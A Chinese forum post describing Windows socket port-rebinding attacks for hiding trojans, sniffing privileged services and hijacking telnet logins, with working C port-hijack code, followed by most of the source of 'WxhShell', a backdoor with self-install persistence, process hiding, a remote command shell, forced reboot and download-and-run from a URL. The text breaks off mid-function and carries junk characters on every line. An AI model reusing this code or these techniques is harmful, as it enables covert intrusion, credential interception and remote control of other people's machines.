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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: oJ;O>J@c  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &#my #u^O;  
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  saddr.sin_family = AF_INET; 22|M{  
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  saddr.sin_addr.s_addr = htonl(INADDR_ANY); vaCdfO&  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); P+%)0*W  
mP .&fS  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 9xS`@ "`  
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  这意味着什么?意味着可以进行如下的攻击: SlJ/OcAf#  
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  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 VOK$;s'9}  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ci NTYow  
A =[f>8  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 4Z p5o`*g2  
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  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  c:_i)":  
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  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 @`+$d=rO`  
D}/.;]w<[&  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 eHyuO)(xH1  
.VEfd4+ni{  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 <l s/3!  
l )V43  
  #include Ol h%"=*;  
  #include Ty|c@X  
  #include W9m[>-Ew  
  #include    ,) jB<`  
  DWORD WINAPI ClientThread(LPVOID lpParam);   j.v _  
  int main() >Pd23TsN  
  { ITqigGan%  
  WORD wVersionRequested; n ~i4yn=  
  DWORD ret; 2DqHqq9m  
  WSADATA wsaData; HPCA$LD  
  BOOL val; kJpHhAn4  
  SOCKADDR_IN saddr; 4^}PnU7z  
  SOCKADDR_IN scaddr; UT7lj wT  
  int err; ZO6bG$y64  
  SOCKET s; &r%^wfp  
  SOCKET sc; ;|1P1H-W~M  
  int caddsize; e[&3K<  
  HANDLE mt; G.ARu-2's  
  DWORD tid;   X.Y)'qSf  
  wVersionRequested = MAKEWORD( 2, 2 ); <l/Qf[V  
  err = WSAStartup( wVersionRequested, &wsaData ); \~j(ui|  
  if ( err != 0 ) { (lsod#wEMg  
  printf("error!WSAStartup failed!\n"); Guc^gq}  
  return -1; ?o'arxCxZn  
  } >ZsK5v  
  saddr.sin_family = AF_INET; /[dAgxL  
   |i}g7  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 V)jhyCL  
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  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); (uz!:dkvx  
  saddr.sin_port = htons(23); I T2sS6&R  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) FdHWF|D  
  { HD|)D5wH|  
  printf("error!socket failed!\n"); BQf+1 Ly&  
  return -1; Fpwh.R:yV  
  } %4K#<b"W  
  val = TRUE; v!C+W$,T  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 O~]G(TMs8W  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) e2ZUl` {g  
  { D+PUi!  
  printf("error!setsockopt failed!\n"); _Hj,;Z  
  return -1; V7i`vo3Cc  
  } >maz t=,  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; - & r{%7  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽  Vp4]  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 zKT<QM!`  
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  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)  ?C\9lLX  
  { PyE<`E  
  ret=GetLastError(); 6E4L4Vb  
  printf("error!bind failed!\n"); 2@rc&Tx  
  return -1; V@f#/"u'  
  } &p/k VM  
  listen(s,2); IW*.B6Hw8  
  while(1) :gv#_[k  
  { 8 EH3zm4  
  caddsize = sizeof(scaddr); xbA2R4|  
  //接受连接请求 -&tiM v  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); !1R  
  if(sc!=INVALID_SOCKET) 0[Aa2H*  
  { 5o #8DIal  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Pw{+7b$  
  if(mt==NULL) '5\1uB PKW  
  { VvKH]>*  
  printf("Thread Creat Failed!\n"); U5=J;[w}N  
  break; 0T;WN$W|  
  } N%y FL  
  } +^:K#S9U  
  CloseHandle(mt); s<]l[Y>  
  } B;Vl+}R  
  closesocket(s); ^\%%9jY  
  WSACleanup(); .EQFHStr  
  return 0; [XK"$C]jHJ  
  }   U>XGJQ<NS  
  DWORD WINAPI ClientThread(LPVOID lpParam) kE h# 0  
  { In2D32"F  
  SOCKET ss = (SOCKET)lpParam; I'wAgf6W  
  SOCKET sc; 0:EiCKb)ol  
  unsigned char buf[4096]; ?hYe4tc-#  
  SOCKADDR_IN saddr; D![Twlll  
  long num; EzaOg|  
  DWORD val; 3-D!ZS&  
  DWORD ret; N8TO"`wdbs  
  //如果是隐藏端口应用的话,可以在此处加一些判断 P.0-(  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Khl7Ez  
  saddr.sin_family = AF_INET; kcb'`<B  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); $oEDyC  
  saddr.sin_port = htons(23); FKP^f\!M  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) L~~aW0,  
  { RWE%? `   
  printf("error!socket failed!\n"); FW4 hqgE@  
  return -1; PZs  
  } x$E l7=.  
  val = 100; !8$}]uWP  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) yY+2;`CH  
  { Jz6PqU|=  
  ret = GetLastError(); ~Y(M>u.+!  
  return -1; lMP7o&  
  } v3p..A~XZ.  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) pP#?|  
  { S.z;Bm  
  ret = GetLastError(); >cp9{+#f  
  return -1; h$!qb'|  
  } lc#H%Qlg  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) +2?[=g4;}  
  { `e bB+gI  
  printf("error!socket connect failed!\n"); ) E\pQ5&  
  closesocket(sc); ra3WLK  
  closesocket(ss); [q z6_WOo  
  return -1; gDv]n^&  
  } sM-*[Q=_  
  while(1) i0P+,U  
  { #SdaTMLFf  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 WXM_H0K  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 bMZ0%(q  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ><=af 9T  
  num = recv(ss,buf,4096,0); H`P )  
  if(num>0) UaBR;v-.B3  
  send(sc,buf,num,0); Q*wx6Pu8  
  else if(num==0) GHkSU;})  
  break; % /s1ma6q  
  num = recv(sc,buf,4096,0); 0\m zGfd  
  if(num>0) Zj JD@,j  
  send(ss,buf,num,0); #yqcUbJY0R  
  else if(num==0) L \$zr,=C  
  break; 0C7"*H0 R  
  } %nIjRmqM~  
  closesocket(ss); OhTO*C8  
  closesocket(sc); MLDuo|?  
  return 0 ; ]Cj&C/(  
  } L/ZZe5I  
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L]V K9qB  
========================================================== RHxd6Gs"  
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下边附上一个代码,,WXhSHELL ex['{|a{  
3lJK[V{'#'  
========================================================== ;8A_- $  
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#include "stdafx.h" -&&mkK B!  
<I>q1m?KN  
#include <stdio.h> }X$>84s>[P  
#include <string.h> ugCc&~`  
#include <windows.h> FUH1Z+9  
#include <winsock2.h> 0QPipuP  
#include <winsvc.h> +,%x&L&I  
#include <urlmon.h> Kb}N!<Z*  
9=/8d`r  
#pragma comment (lib, "Ws2_32.lib") *f[`Yv  
#pragma comment (lib, "urlmon.lib") ^8 z*f&g  
0e:aeLh  
#define MAX_USER   100 // 最大客户端连接数 cz0tnF*&  
#define BUF_SOCK   200 // sock buffer |9g*rO  
#define KEY_BUFF   255 // 输入 buffer &@RU}DnvM&  
WgjaMmht  
#define REBOOT     0   // 重启 n;MoMGnPh,  
#define SHUTDOWN   1   // 关机 :\>UZ9h #  
DQ~@=%?ni  
#define DEF_PORT   5000 // 监听端口 t;*'p  
 Op|Be  
#define REG_LEN     16   // 注册表键长度 _WkK%RYV  
#define SVC_LEN     80   // NT服务名长度 0 cQf_o  
"?Y0Ng[  
// 从dll定义API LWW0lG!_F  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); vEb~QX0~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); XnNK )dUT}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); KLxg  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); d BJM?/  
J3$ihH.  
// wxhshell配置信息 ?GFVV->i  
struct WSCFG { 3~ qgvAr  
  int ws_port;         // 监听端口 ~v5tx  
  char ws_passstr[REG_LEN]; // 口令 L'c4 i[~s  
  int ws_autoins;       // 安装标记, 1=yes 0=no 2^juLXc|R  
  char ws_regname[REG_LEN]; // 注册表键名 -?GYW81Q  
  char ws_svcname[REG_LEN]; // 服务名 ve>8vw2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Z8:iaP)  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2Gj&7A3b  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 * "E]^wCn  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \=QG6&_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" yeW|Ux:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 yyXJ_B  
wwF20  
}; 2;q6~Y,  
wp@c;gK7  
// default Wxhshell configuration SI@I  
struct WSCFG wscfg={DEF_PORT, >si<VCO  
    "xuhuanlingzhe", NSxDCTw  
    1, "=Ziy4V  
    "Wxhshell", alq>|,\x  
    "Wxhshell", j6Vuj/+}  
            "WxhShell Service", 7%0PsF _  
    "Wrsky Windows CmdShell Service", ]CTu |  
    "Please Input Your Password: ", yJr'\(  
  1, \tQRyj\|  
  "http://www.wrsky.com/wxhshell.exe", ~#g Vs*K  
  "Wxhshell.exe" YAO.Ccz  
    }; n9)/(=)>*  
/+3|tb  
// 消息定义模块 Qz $1_vO  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; u|Db%)[  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %T 88K}?=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &<L+;k~P%  
char *msg_ws_ext="\n\rExit."; ost~<4~  
char *msg_ws_end="\n\rQuit."; "--rz;+K  
char *msg_ws_boot="\n\rReboot..."; NjMo"1d  
char *msg_ws_poff="\n\rShutdown..."; Vls*fY:W  
char *msg_ws_down="\n\rSave to "; (}}BZ S&.  
^d!-IL_  
char *msg_ws_err="\n\rErr!"; mvYr"6f8  
char *msg_ws_ok="\n\rOK!"; x; :[0(st}  
==c\* o  
char ExeFile[MAX_PATH]; 2p@S-Lp  
int nUser = 0; '?q|7[SU  
HANDLE handles[MAX_USER]; FCOSgEU  
int OsIsNt; n|{x\@VeF  
4F/Q0"  
SERVICE_STATUS       serviceStatus; 2<<,aL*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ][D<J0  
[<bfwTFsl  
// 函数声明  M)Y`u  
int Install(void); jH \@Oc;7  
int Uninstall(void); ='YR;  
int DownloadFile(char *sURL, SOCKET wsh); 5.idC-\  
int Boot(int flag); 5q" ;R$+j  
void HideProc(void); )PR{ia64;<  
int GetOsVer(void); Rh,*tS  
int Wxhshell(SOCKET wsl); KeY)%{  
void TalkWithClient(void *cs); ;Q-(tGd  
int CmdShell(SOCKET sock); }9{6{TD  
int StartFromService(void); O /aC%%  
int StartWxhshell(LPSTR lpCmdLine); =XyK/$  
o9>r -  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); oE)tK1>;H  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |f.=Y~aY  
S+_}=25  
// 数据结构和表定义 ll73}v  
SERVICE_TABLE_ENTRY DispatchTable[] = mG\,T3/*  
{ ' ^n2]<  
{wscfg.ws_svcname, NTServiceMain}, iC$~v#2  
{NULL, NULL} Q:lSKf  
}; 5"k _Ms7R,  
(lT H EiX  
// 自我安装 NC|&7qQ  
int Install(void) &A]*"lt|w  
{ Pa%XLn'5  
  char svExeFile[MAX_PATH]; @4_W}1W  
  HKEY key; A\k@9w\Ll;  
  strcpy(svExeFile,ExeFile); j<4J_wE  
d8/lEmv[  
// 如果是win9x系统,修改注册表设为自启动 hekAics6S  
if(!OsIsNt) { AZxOq !B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )%f]`<o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (Sv7^}j  
  RegCloseKey(key); wlmi&kq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n-}.Yc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {FteQ@(  
  RegCloseKey(key); +|r) ;>b  
  return 0; u7<B*d:  
    } )d_)CuUBe  
  } &(IL`%  
} YNH>^cD1  
else { [P`Q_L,+  
R1\cAP^ 0  
// 如果是NT以上系统,安装为系统服务 +TfMj1Zx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); wwmMpK}f  
if (schSCManager!=0) #AFr@n  
{ Gq$9he<  
  SC_HANDLE schService = CreateService m{I_E G  
  ( *Iyv${  
  schSCManager, 8HxB\ !0F?  
  wscfg.ws_svcname, Wi'BX#xCB  
  wscfg.ws_svcdisp, :DR G=-M  
  SERVICE_ALL_ACCESS, dPPe_% Ilr  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  QSmE:Y  
  SERVICE_AUTO_START, PQlG !  
  SERVICE_ERROR_NORMAL, Qf$0^$ "  
  svExeFile, ^Qs-@]E-  
  NULL, JU1U=Lu."  
  NULL, 0@.$(Aqo(  
  NULL, \"<&8  
  NULL, U3&*,xeU@H  
  NULL P>0j]?RB  
  ); q;}^Jpb;  
  if (schService!=0) mdoy1a  
  { acRPKTs H  
  CloseServiceHandle(schService); _2<|0lvh  
  CloseServiceHandle(schSCManager); ZL+{?1&-  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  #Z"N\49  
  strcat(svExeFile,wscfg.ws_svcname); POtDge  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +pnT6kU|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;#G>qo  
  RegCloseKey(key); Sr,ZM1J  
  return 0; aGr(djD  
    } Km 'd=B>Jy  
  } OV;Ho  
  CloseServiceHandle(schSCManager); k&n7 _[]n  
} Ad+-/hxc  
} AA^3P?iD  
SrN0f0  
return 1; Z@RAdwjR`p  
} @J!)o d  
s3uT:Xw3rW  
// 自我卸载 %&V<kH"7Q{  
int Uninstall(void) Yc"G="XP;  
{ 7: J6 F  
  HKEY key; aCMF[ 3j  
j &)|nK;}  
if(!OsIsNt) { jSaEwN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2j=3i@  
  RegDeleteValue(key,wscfg.ws_regname); 0Dc$nL?TqX  
  RegCloseKey(key); yV$p(+KkS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?F(t`0=  
  RegDeleteValue(key,wscfg.ws_regname); 5\S)8j `8  
  RegCloseKey(key); V. 1sb pI  
  return 0; -+'{C =  
  } SdnqM`uFo  
} n)sK#C-VA  
} VE wv22'  
else { %Kw5 b ;  
Q'7o_[o/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); C3G?dZKv2  
if (schSCManager!=0) Lyt6DvAp"  
{ [\@!~F{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); p!hewtb5  
  if (schService!=0) n`vqCO7@'  
  { zOg#=ql  
  if(DeleteService(schService)!=0) { QI0ARdS  
  CloseServiceHandle(schService); !}l)okQH<#  
  CloseServiceHandle(schSCManager); /(W{`  
  return 0; ~ W52Mbf  
  } /UN%P2>^1  
  CloseServiceHandle(schService); K{x<zv&,  
  } `axNeqM  
  CloseServiceHandle(schSCManager); |>j=#2  
} *h@nAB\3  
} c ?V,a`6  
[9'5+RXw3  
return 1; `vL R;D  
} $Z.c9rY1  
##}a0\x|  
// 从指定url下载文件 I"Ju3o?u  
int DownloadFile(char *sURL, SOCKET wsh) y;;^o6Gnw  
{ AJC Wp4,  
  HRESULT hr; RNl%n}   
char seps[]= "/"; e7]IEBbX2O  
char *token; |os2@G$  
char *file; +\"@2mOH{+  
char myURL[MAX_PATH]; [EB2o.E sO  
char myFILE[MAX_PATH]; ?9mWMf%t  
qW;nWfkYC  
strcpy(myURL,sURL); 14s+ &  
  token=strtok(myURL,seps); b.8HGt<%  
  while(token!=NULL) hCQ{D|/  
  { P@k ;Lg"  
    file=token; =1VY/sv  
  token=strtok(NULL,seps); B 8C3LP}?  
  } +:/`&LOS-  
D dt9`j  
GetCurrentDirectory(MAX_PATH,myFILE); `9zP{p  
strcat(myFILE, "\\"); 9I]*T  
strcat(myFILE, file); w2/%e$D!9  
  send(wsh,myFILE,strlen(myFILE),0); sJ3HH0e  
send(wsh,"...",3,0); x*Z"~'DI  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); YHvmo@  
  if(hr==S_OK) i"Ct}7i  
return 0; khjW9Aa8t  
else $sGX%u  
return 1; &&_W,id`  
wz073-v>ZV  
} xqb I~jV#  
dYf Vox;  
// 系统电源模块 \-V  
int Boot(int flag) QL_bg:hs  
{ ~|l>bf  
  HANDLE hToken; `4\H'p  
  TOKEN_PRIVILEGES tkp; 7F)HAbIS  
#G)ZhgB^  
  if(OsIsNt) { @105 @9F  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |{t}ULc  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (Q#A Br8  
    tkp.PrivilegeCount = 1; }KS[(Q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;<ed1%Le,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5:^dyF&sm{  
if(flag==REBOOT) { T3'dfe U  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Ji%T|KR_  
  return 0; ymr-kB  
} HbZ3QWP  
else { N9,n/t  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) KY2xKco  
  return 0; OEq8gpqY  
} J~n{gT<L  
  } 33"{"2==`  
  else { 0($MN]oZa  
if(flag==REBOOT) { ")x9A&p  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) G ^r^" j  
  return 0; iFS ?nZ~.  
} S`"IM?  
else { s&8QRI.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *$(9,y\  
  return 0; "F)7!e  
} X#+A?>Z]}<  
} Q0ev*MS9Z  
JGH9b!}-1  
return 1; J^0co1Y0  
} nCXIWLw  
>UR-37g{p  
// win9x进程隐藏模块 5vg@zH\z  
void HideProc(void) -$[=AqJXp;  
{ :^J(%zy  
uop_bJ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); BD,~M*%z  
  if ( hKernel != NULL ) WpSdukXY{  
  { f>Bcr9]]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :~U1JAs$  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); /$I&D}uR`  
    FreeLibrary(hKernel); BC!l)2  
  } %oC]Rpdu  
*A c~   
return; Tje =vI  
} shnfH   
NoZz3*j=  
// 获取操作系统版本 t(Iy[-  
int GetOsVer(void) * Oyic3F  
{ ,| xG2G6  
  OSVERSIONINFO winfo; w?<:`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); b\]"r x (  
  GetVersionEx(&winfo); cnCUvD]'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (WN'wp  
  return 1; [9aaHf@'  
  else YM+}Mmu  
  return 0; = eTI@pN`  
} i!YZF$|  
>D<nfG<s Z  
// 客户端句柄模块 ,MOB+i(3*u  
int Wxhshell(SOCKET wsl) McH*J j  
{  6~$ <  
  SOCKET wsh; sy/J+==  
  struct sockaddr_in client; BFj@Z'7P  
  DWORD myID; ]WyV~Dzz<  
!Me%W3  
  while(nUser<MAX_USER) wrGd40  
{ rw_&t>Ri;  
  int nSize=sizeof(client); bis/Nfr]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 69yTGUG3  
  if(wsh==INVALID_SOCKET) return 1; ): Q5u6  
vlzjALy  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); J8? 6yd-7  
if(handles[nUser]==0) uvD 6uIW<  
  closesocket(wsh); a-i#?hld  
else R>pa? tQgK  
  nUser++;  LFGu|](  
  } { H9pF2C  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  w8FZXL  
VFA1p)n  
  return 0; <|Z0|sel  
} GXJ3E"_.  
PMXnupt  
// 关闭 socket uz'beE  
void CloseIt(SOCKET wsh) NSb< 7_L  
{ HT1bsY 0t  
closesocket(wsh); 8Bhot,u'T  
nUser--; o#0NIn"GS/  
ExitThread(0); 9R.tkc|K  
} e$F7wto  
hh:)"<[  
// 客户端请求句柄 IwWo-WN7.  
void TalkWithClient(void *cs) z^B!-FcIz>  
{ 6LvUi|~"<  
i Cv &<C@  
  SOCKET wsh=(SOCKET)cs; bIWcL$}4Q  
  char pwd[SVC_LEN]; /hI#6k8o_  
  char cmd[KEY_BUFF]; OtQKDpJq  
char chr[1]; ;y5cs;s  
int i,j; rM>&! ?y+  
tQ2*kE  
  while (nUser < MAX_USER) { hb? |fi  
J>Zd75;U  
if(wscfg.ws_passstr) { Tb{,WUJg2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); CB?.| )Xam  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6e~+@S  
  //ZeroMemory(pwd,KEY_BUFF); 6;(Slkv  
      i=0; )]qFI"B7  
  while(i<SVC_LEN) { DlIfr6F  
o_\b{<^I  
  // 设置超时 ]/d2*#  
  fd_set FdRead; Ii[rM/sG  
  struct timeval TimeOut; VK`b'U &l"  
  FD_ZERO(&FdRead); ?hDEFW9&^x  
  FD_SET(wsh,&FdRead); aty K^*aX  
  TimeOut.tv_sec=8; dc lJ  
  TimeOut.tv_usec=0; ih~c(&n0  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7c;59$2(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Y{p *$  
< W&~tVv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [N7[%iQ%  
  pwd=chr[0]; a`|/*{  
  if(chr[0]==0xd || chr[0]==0xa) { OWq~BZ{  
  pwd=0; -@J;FjrXmP  
  break; 7r}gS2d  
  } jj$'DZk  
  i++; ?58pkg J  
    } 0U$6TDtmE  
0!(Ii@m=N  
  // 如果是非法用户,关闭 socket xX"?3%y>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ogjjjy84vM  
} \sRRLDj%  
spe9^.SI  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); c~C :"g.y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PfuYT_p4s  
7rhpIP2n  
while(1) { ?94da4p  
W tzV|e,  
  ZeroMemory(cmd,KEY_BUFF); `I'=d4  
h_CeGl!M}  
      // 自动支持客户端 telnet标准   :fj}J)9'xW  
  j=0; |]m&LC  
  while(j<KEY_BUFF) { I1}{7-_t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jN*A"m  
  cmd[j]=chr[0]; YJ75dXc&&  
  if(chr[0]==0xa || chr[0]==0xd) { z%;\q$  
  cmd[j]=0; a .] !  
  break; s V77WF  
  } +Oyt   
  j++; qKSM*k~  
    } j+c)%  
%NAz(B  
  // 下载文件 |r /}r,t}  
  if(strstr(cmd,"http://")) { L g%cVSz/C  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); hU4~`g p  
  if(DownloadFile(cmd,wsh)) b(XhwkGVq  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \<PX'mnO  
  else I O6i  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I H:Hf v  
  } \|T0@V  
  else { :V_$?S  
&[s^`e  
    switch(cmd[0]) { [I^SKvM  
  9(@bjL465  
  // 帮助 {{ wVM:1  
  case '?': { =1esUO[nx  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Q5jP`<zWU  
    break; GUcuD^Fe  
  } \ _i`=dx  
  // 安装 [6-l6W  
  case 'i': { f|q6<n_nM  
    if(Install()) wZOO#&X#r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !IGVN:E  
    else \]r{73C  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Mv9s  
    break; ;nC+K z:  
    } yDyq. -Q  
  // 卸载 P, Vq/Tt  
  case 'r': { ZRX>SyM  
    if(Uninstall()) @L~y%#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jV7q)\uu^  
    else w6E?TI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OsK=% aDpj  
    break; oF*Y$OEu?c  
    } 9Qkww&VEk  
  // 显示 wxhshell 所在路径 HML6<U-eS  
  case 'p': { wo_FM `@  
    char svExeFile[MAX_PATH]; "jpjBH:c$  
    strcpy(svExeFile,"\n\r"); Q \{\u J x  
      strcat(svExeFile,ExeFile); D{8V^%{  
        send(wsh,svExeFile,strlen(svExeFile),0); ioviJ7N% O  
    break; @lJGdp  
    } Q2NS>[  
  // 重启 =-q)I[4#  
  case 'b': { B"EMir'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); s/T5aJR  
    if(Boot(REBOOT)) (Q'XjN\#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R]r~TJ o  
    else { b#]in0MT?@  
    closesocket(wsh); RSnK`N\9jb  
    ExitThread(0); }5]NUxQ_  
    }  t]vz+VQ  
    break; 6#K_Rg>.  
    } m.$Oo Mu'  
  // 关机 Z@h]dU5%a  
  case 'd': { Jz-f1mhQV  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); iA< EJ  
    if(Boot(SHUTDOWN)) 77 `/YE#M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <bid 6Q0|  
    else { Qv?jo(]  
